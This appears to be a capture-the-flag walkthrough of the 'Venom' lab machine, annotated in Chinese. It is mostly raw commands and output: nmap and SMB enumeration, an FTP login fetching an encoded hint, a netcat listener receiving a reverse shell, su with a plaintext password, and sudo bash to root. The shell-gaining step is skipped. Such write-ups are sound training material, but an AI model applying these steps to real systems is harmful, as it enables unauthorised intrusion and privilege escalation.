nmap -sC -sV -p- 192.168.109.147 Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 09:08 EDT Nmap scan report for 192.168.109.147 Host is up (0.00032s latency). Not shown: 65530 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 443/tcp open ssl/https Apache/2.4.29 (Ubuntu) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) Service Info: Host: VENOM; OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.02 seconds
=============================================== | Nbtstat Information for 192.168.109.147 | =============================================== Looking up status of 192.168.109.147 VENOM <00> - B <ACTIVE> Workstation Service VENOM <03> - B <ACTIVE> Messenger Service VENOM <20> - B <ACTIVE> File Server Service ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name WORKGROUP <1d> - B <ACTIVE> Master Browser WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
======================================== | Session Check on 192.168.109.147 | ======================================== [+] Server 192.168.109.147 allows sessions using username '', password ''
============================================== | Getting domain SID for 192.168.109.147 | ============================================== Domain Name: WORKGROUP Domain Sid: (NULL SID) [+] Can't determine if host is part of domain or part of a workgroup ========================================= | OS information on 192.168.109.147 | ========================================= Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464. [+] Got OS info for 192.168.109.147 from smbclient: [+] Got OS info for 192.168.109.147 from srvinfo: VENOM Wk Sv PrQ Unx NT SNT venom server (Samba, Ubuntu) platform_id : 500 os version : 6.1 server type : 0x809a03 ================================ | Users on 192.168.109.147 | ================================ Use of uninitialized value $users in print at ./enum4linux.pl line 874. Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 877. Use of uninitialized value $users in print at ./enum4linux.pl line 888. Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 890. ============================================ | Share Enumeration on 192.168.109.147 | ============================================ Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (venom server (Samba, Ubuntu)) SMB1 disabled -- no workgroup available [+] Attempting to map shares on 192.168.109.147 //192.168.109.147/print$ Mapping: DENIED, Listing: N/A //192.168.109.147/IPC$ [E] Can't understand response: NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
======================================================= | Password Policy Information for 192.168.109.147 | =======================================================
[+] Attaching to 192.168.109.147 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] VENOM [+] Builtin
[+] Password Info for Domain: VENOM
[+] Minimum password length: 5 [+] Password history length: None [+] Maximum password age: 37 days 6 hours 21 minutes [+] Password Complexity Flags: 000000
================================= | Groups on 192.168.109.147 | =================================
[+] Getting builtingroups:
[+] Getting builtin group memberships:
[+] Getting localgroups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
========================================================================== | Users on 192.168.109.147 via RID cycling (RIDS: 500-550,1000-1050) | ========================================================================== [I] Found new SID: S-1-22-1 [I] Found new SID: S-1-5-21-3525385883-4254613925-43684688 [I] Found new SID: S-1-5-32 [+] Enumerating users using SID S-1-5-21-3525385883-4254613925-43684688 and logon username '', password ''
================================================ | Getting printer info for 192.168.109.147 | ================================================ No printers returned.
ftp 192.168.109.147 Connected to 192.168.109.147. 220 (vsFTPd 3.0.3) Name (192.168.109.147:kali): hostinger 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 1002 1002 4096 May 21 23:43 files 226 Directory send OK. ftp> cd files 250 Directory successfully changed. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 384 May 21 23:43 hint.txt 226 Directory send OK. ftp> get hint.txt local: hint.txt remote: hint.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for hint.txt (384 bytes). 226 Transfer complete. 384 bytes received in 0.04 secs (10.3970 kB/s)
可以登录成功，可以发现files目录下存在hint.txt，下载下来查看内容
1 2 3 4 5 6 7 8 9 10 11 12
Hey there...
T0D0 --
* You need to follow the 'hostinger' on WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= also aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI= * some knowledge of cipher is required to decode the dora password.. * try on venom.box password -- L7f9l8@J#p%Ue+Q1234 -> deocode this you will get the administrator password
nc -lvp 4444 1 ⨯ listening on [any] 4444 ... connect to [192.168.109.140] from venom.box [192.168.109.147] 33098 $ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)
成功获取shell 此时是在upload目录的 切换到home目录下查看存在用户
1 2 3 4 5 6 7 8 9
cd /home cd /home $ ls -lart ls -lart total 16 drwxr-xr-x 24 root root 4096 May 20 10:08 .. drwxr-xr-x 4 root root 4096 May 21 17:00 . drwxr-x--- 17 nathan nathan 4096 May 22 00:21 nathan drwxr-xr-x 16 hostinger hostinger 4096 May 22 13:58 hostinger
su nathan su nathan Password: FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a
nathan@venom:/var/www/html/subrion/backup$ id id uid=1000(nathan) gid=1000(nathan) groups=1000(nathan),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare) nathan@venom:/var/www/html/subrion/backup$ cd cd nathan@venom:~$ ls ls Desktop Downloads Music Public user.txt Documents examples.desktop Pictures Templates Videos nathan@venom:~$ cat user.txt cat user.txt W3_@r3_V3n0m:P
权限提升
尝试sudo提权
1 2 3 4 5 6 7 8 9
sudo -l sudo -l Matching Defaults entries for nathan on venom: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nathan may run the following commands on venom: (root) ALL, !/bin/su (root) ALL, !/bin/su
参考得知这里直接运行sudo bash即可提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14
sudo -l sudo -l Matching Defaults entries for nathan on venom: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nathan may run the following commands on venom: (root) ALL, !/bin/su (root) ALL, !/bin/su nathan@venom:~$ sudo bash sudo bash root@venom:~# id id uid=0(root) gid=0(root) groups=0(root)
